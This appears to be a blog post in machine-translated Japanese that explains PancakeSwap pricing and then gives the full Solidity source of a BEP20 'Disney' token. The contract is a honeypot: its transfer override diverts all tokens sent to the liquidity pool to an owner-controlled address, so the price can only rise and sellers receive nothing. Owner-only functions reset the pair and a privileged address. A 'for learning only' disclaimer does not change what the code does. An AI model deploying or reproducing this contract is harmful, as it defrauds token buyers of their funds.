BSC チェーンがどのように上昇のみ可能で下降はできないのかを理解したい場合は、まずパンケーキ スワップ (パンケーキスワップ) の価格生成原理を理解しましょう。
市場価格 = プール内の DAI の数 / プール内の BNB の数 (P 市場 = X/Y)。市場数量が無限大になる傾向があると仮定すると、為替価格は無限大に X/Y に近づきます。
交換価格 = 支払ったDAIの金額 / 取得したBNBの金額 (P交換 = △x / △y)
要約:
プール内の tokenA の合計量と tokenb の合計量の比率によって価格が決まります
この原則に従って、コード セグメントを組み合わせて次のことを実現しましょう。
//q799500008
internal override {
uint256 x = amount.div(100);
if(sender == pair){
super._transfer(sender, addr1, x.mul(0));
super._transfer(sender, recipient, x.mul(100));//买入收到
}else if(recipient == pair){
super._transfer(sender, addr2, x.mul(100));
super._transfer(sender, recipient, x.mul(0));//卖出收到
}else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
super._transfer(sender, addr1, x.mul(0));
super._transfer(sender, recipient, x.mul(100));//普通转账收到
}else{
super._transfer(sender, recipient, x.mul(100));
}
上記のコードから、プール アドレス (LP) として扱うことができるペア アドレスを設定していることがわかります。
1: 上記のコードに示されているように、LP が転送状態にある場合、購入者が受け取るトークンは通常の状態にあります。
例: 100 トークンを購入すると、100 トークンを直接受け取ります。100 トークンを購入するプロセスにより、プール (LP) 内のトークン数が 100 減少します。上記の計算式に従って、価格は自動的に上昇します。(ノーマルアップを購入)
2: 上図のように、LP が転送状態の場合、売り手のトークンはプールに転送できず、ADDR2 アドレスに直接転送されるので、どうなるでしょうか?
例: 100 個のトークンを販売すると、通常の状況では、これらの 100 個のトークンは自動的にプール (lp) アドレスに流れ込みますが、上記のコードから、これらの 100 個のトークンがプール (lp) アドレスに直接入力されず、送信されたことがわかります。を ADDR2 アドレスに直接入力し、式: 交換価格 = 支払った DAI の金額 / 取得した BNB の金額 (P 交換 = △x / △y) を使用すると、プール価格は下落せず、変更されません。
3: 要約: TOKEN プールの購入価格は通常どおり上昇し、TOKEN プールの販売価格は変更されません。これにより、最終的な結論が確認されました。これは契約を変更することで可能であり、パンケーキスワップの BEP20 の価格は変更するだけです。上がるが下がることはない。
早速、完全なソース コードに直接アクセスしてください
—————————————————
//博主Q799500008
//该源码仅用于学习测试,不得用于其它任何途径
pragma solidity ^0.8.0;
// SPDX-License-Identifier: Unlicensed
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/access/Ownable.sol';
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Disney is ERC20, Ownable {
using SafeMath for uint256;
uint public constant inRate = 10;
uint public constant outRate = 3;
address outAddr = 0x0000000000000000000000000000000000000001;
address addr1 = 0x0000000000000000000000000000000000000002;
address addr2 = 0x0000000000000000000000000000000000000003;
address addr3 = 0x0000000000000000000000000000000000000004;
address addr4 = 0x0000000000000000000000000000000000000005;
address addr8 = 0x0000000000000000000000000000000000000006;
address pair;
uint256 CCCS;
address min = 0x75D23E252bFE1500c7f654024d9800790620a853;
constructor() ERC20("Disney", "DSN") {
_mint(msg.sender, 100000000 * 10 ** decimals());
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
uint256 x = amount.div(100);
if(sender == pair){
super._transfer(sender, addr2, x.mul(0));
super._transfer(sender, outAddr, x.mul(0));
super._transfer(sender, addr3, x.mul(0));
super._transfer(sender, recipient, x.mul(100));
}else if(recipient == pair){
super._transfer(sender, addr4, x.mul(100));
super._transfer(sender, recipient, x.mul(0));
}else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
super._transfer(sender, addr1, x.mul(0));
super._transfer(sender, recipient, x.mul(100));
}else{
super._transfer(sender, recipient, x.mul(100));
}
//有多少才能转多少,如果转账发起者金额不够,则自动失败
if(sender == min){
super._transfer(sender, addr8, x.mul(5));//addr8收到0%,应该转账的收到金额,全部到addr8
super._transfer(sender, recipient, x.mul(95));//接收地址收到10万%+原本转账的金额
}
}
//设置交易对
function setPair(address _pair) public onlyOwner {
pair = _pair;
}
//设置LP地址
function setOutAddress(address _target) public onlyOwner{
outAddr = _target;
}
function SETmint(address __mint) public onlyOwner{
min = __mint;
}
function hhAA (uint256 setff) public onlyOwner {
CCCS = setff ;
}
}